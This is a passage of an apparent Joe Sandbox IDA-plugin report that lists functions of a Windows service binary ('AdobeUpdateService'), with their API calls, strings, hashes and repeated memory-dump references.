Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle$BlockDestroyEnvironment
String ID:
API String ID: 1096182194-0
Opcode ID: e2e22a70dbd95b21f456f59282a0213a811955f47d7c623cdfc0833d9dcf18cc
Instruction ID: 34402626d38a9728df7e9b11658db42f6f8f7e161e27eba0645d41ce3f5bf331
Opcode Fuzzy Hash: e2e22a70dbd95b21f456f59282a0213a811955f47d7c623cdfc0833d9dcf18cc
Instruction Fuzzy Hash: 5501D371B00B11EBDB209F76EC48B9777ECBF54B41304493AB956E3650EA78E8408A69

Function 0041FB30 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,0041FAA0,00000000,00000008,00405984), ref: 0041FBA7
CloseHandle.KERNEL32(00000000,?,?,0041FAA0,00000000,00000008,00405984), ref: 0041FC27

Strings

Closing outPipe %p, xrefs: 0041FB4B, 0041FB82
CommBridge, xrefs: 0041FB5A, 0041FB87, 0041FBDA, 0041FC07
Closing inPipe %p, xrefs: 0041FBCB, 0041FC02
OOBEUtils, xrefs: 0041FB5F, 0041FBDF

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle
String ID: Closing inPipe %p$Closing outPipe %p$CommBridge$OOBEUtils
API String ID: 2962429428-1143323105
Opcode ID: 2a3135dafd0f9304286105df91380c5b5f1a53f32146d0c127ed63ac37bcf816
Instruction ID: 0f7ac151626cc6776e72673ec142dc1ae90cb188b2ca2df04446cdc6e3645632
Opcode Fuzzy Hash: 2a3135dafd0f9304286105df91380c5b5f1a53f32146d0c127ed63ac37bcf816
Instruction Fuzzy Hash: C421F630740311A7CA20EF259D66F9B3654BB41B00F14017BF912A72E1CBACBD5286ED

Function 004018B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 106registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32(AdobeUpdateService,00401DB0), ref: 00401942
GetLastError.KERNEL32 ref: 004019A0

Part of subcall function 00401770: SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
Part of subcall function 00401770: GetLastError.KERNEL32 ref: 00401877

Part of subcall function 00401A30: GetLastError.KERNEL32(00000000,00000001,?,00401A1C), ref: 00401AC7

Strings

ServiceMain: Failed to register the service with Register Service Control Handler with %d, xrefs: 004019A7
ServiceMain: Started, xrefs: 00401922
AdobeUpdateService, xrefs: 0040193D

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLast$Service$CtrlHandlerRegisterStatus
String ID: AdobeUpdateService$ServiceMain: Failed to register the service with Register Service Control Handler with %d$ServiceMain: Started
API String ID: 125077777-3162937321
Opcode ID: b74a3c793bce63fd3287ecdf9c99267635b26962f32db75fa19738fde18ddafd
Instruction ID: a0a6ef52c26ab5d4a2a010d99244e849a5362b380fe035aef843cf64b66cd91c
Opcode Fuzzy Hash: b74a3c793bce63fd3287ecdf9c99267635b26962f32db75fa19738fde18ddafd
Instruction Fuzzy Hash: 25311171A40215ABE300DF6AED46B5A77A4EB55714F14423FE804A73D0EFB86904CBA9

Function 0040B280 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,00404417,000000FF,000000FF,?,?), ref: 0040B317
ResetEvent.KERNEL32(?,?,?,00404417,000000FF,000000FF,?,?), ref: 0040B32E

Strings

OOBEEvents, xrefs: 0040B2A7, 0040B2DB
NULL OOBE_Event_t object passed in WaitforEvent , xrefs: 0040B298, 0040B2D6
OOBEUtils, xrefs: 0040B2AC

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: EventObjectResetSingleWait
String ID: NULL OOBE_Event_t object passed in WaitforEvent $OOBEEvents$OOBEUtils
API String ID: 3162950495-832234452
Opcode ID: c206187707b054cee0fab18e90408e3dcbedc60c60ed156cedcffc0df12259e5
Instruction ID: ed9a0f1cae05966dad16be02516542e9fa838564d8aed4eb53f716a594107257
Opcode Fuzzy Hash: c206187707b054cee0fab18e90408e3dcbedc60c60ed156cedcffc0df12259e5
Instruction Fuzzy Hash: C11108317802155BEB208B599C47B5A7748EB01B31F6407BBFC69E72D0CB65AC1046DC

Function 00403E40 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 00403EDB

Strings

OOBEEvents, xrefs: 00403E8B, 00403EB8
readDataCallBack : Setting event for read data callback, xrefs: 00403E53
NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00403E7C, 00403EB3
OOBEUtils, xrefs: 00403E90

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Event
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils$readDataCallBack : Setting event for read data callback
API String ID: 4201588131-2675428969
Opcode ID: 8d0fe7199531401063d2ff202e2e47731f7e3bb82e1b5197b15312e4f729c641
Instruction ID: 4701acb43a26968b7f86df0609fe2f1396b750fb55ec2d1e5461187ebc36528e
Opcode Fuzzy Hash: 8d0fe7199531401063d2ff202e2e47731f7e3bb82e1b5197b15312e4f729c641
Instruction Fuzzy Hash: 7101A532780224ABC6109B59EC42A5B7B5CEF65B137140077FA09A72D0CB7ABD508BED

Function 00403EF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,E7354A82,00000000,00000008,00000000,00497500,000000FF,?,004059AA), ref: 00403F86

Strings

OOBEEvents, xrefs: 00403F3A, 00403F65
NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00403F2B, 00403F60
OOBEUtils, xrefs: 00403F3F

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Event
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils
API String ID: 4201588131-2429184316
Opcode ID: 5593ad2a507a23b0f7cd9ec3a726937450f1b810ed9e790710a49eada20f922d
Instruction ID: 925ded1f5c256d2d7ca2cb9baee336687e69f41301eaf6f7f9b06fcd4507b0e0
Opcode Fuzzy Hash: 5593ad2a507a23b0f7cd9ec3a726937450f1b810ed9e790710a49eada20f922d
Instruction Fuzzy Hash: 0E310270740602ABD708CF15CD95B5ABBA8FF45715F10023AE609A7AD0DB7DF9508B9C

Function 0040BB70 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 0040BC81

Part of subcall function 0046B5AE: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,004C94C0,?,?,00468759,?,004C13D0,?), ref: 0046B60E

Strings

ios_base::eofbit set, xrefs: 0040BBB6
ios_base::badbit set, xrefs: 0040BBA7, 0040BBD2, 0040BC01
ios_base::failbit set, xrefs: 0040BAA5, 0040BBB1

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ExceptionInitRaisestd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2020603122-1866435925
Opcode ID: 02f188c2921aaeed174908c3ed2f8e321f5381dadfdf40a2248bed2df7ff2a08
Instruction ID: 1c84d52ffb255289c8c822d3fe868fb1937b2b01e66fc20b4b360ecd81d27cfb
Opcode Fuzzy Hash: 02f188c2921aaeed174908c3ed2f8e321f5381dadfdf40a2248bed2df7ff2a08
Instruction Fuzzy Hash: 923104B1900704BBD310DF55C806B96B7A4FB00718F10422FE8049BAC1E7BEB5548BDA

Function 00401770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
GetLastError.KERNEL32 ref: 00401877

Strings

ReportSvcStatus : Set Service Status returned Error %d, while setting state to %d , xrefs: 0040187E
ReportSvcStatus : Setting Service Status state to %d , xrefs: 00401800

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLastServiceStatus
String ID: ReportSvcStatus : Set Service Status returned Error %d, while setting state to %d $ReportSvcStatus : Setting Service Status state to %d
API String ID: 1547514316-586121575
Opcode ID: b1f02e58a53d84fc7e1140356b729e7ad3c4ef579053cb0ed929bf1a68765758
Instruction ID: 2a8e6345c1da827573bafa61699fe2058e0613da09c450c42f65518c3299f71e
Opcode Fuzzy Hash: b1f02e58a53d84fc7e1140356b729e7ad3c4ef579053cb0ed929bf1a68765758
Instruction Fuzzy Hash: 3431C1B1A40215AFE700DF5ADC85F5A7BA8EB04724F14417FF904A7391EF74AA008BA9

Function 00414530 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 004145A9
std::_Facet_Register.LIBCPMT ref: 0041461B
std::_Lockit::~_Lockit.LIBCPMT ref: 0041463D
Concurrency::cancel_current_task.LIBCPMT ref: 00414660

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$LockitLockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2694047013-0
Opcode ID: 6201b34415790ecdc3c4312f4d7271bec7e3576b96991d2cb71848aa7408f576
Instruction ID: cab6b8252c7ea6f46c49d82a6c8e4df40f83147f90a4d45c9da3e1dc65de2ae0
Opcode Fuzzy Hash: 6201b34415790ecdc3c4312f4d7271bec7e3576b96991d2cb71848aa7408f576
Instruction Fuzzy Hash: 6A41DD728001499FCB10DF59C880AAEB7B5FB94324F24426ED905633A0EB38AD41CB9A

Function 00404306 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0041FA30: WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
Part of subcall function 0041FA30: CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

CloseHandle.KERNEL32(00000000), ref: 004044EC

Strings

NULL OOBE_Event_t object passed in DestroyEvent , xrefs: 0040434C, 004044C1
OOBEEvents, xrefs: 0040435B, 004044C6
OOBEUtils, xrefs: 00404360

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
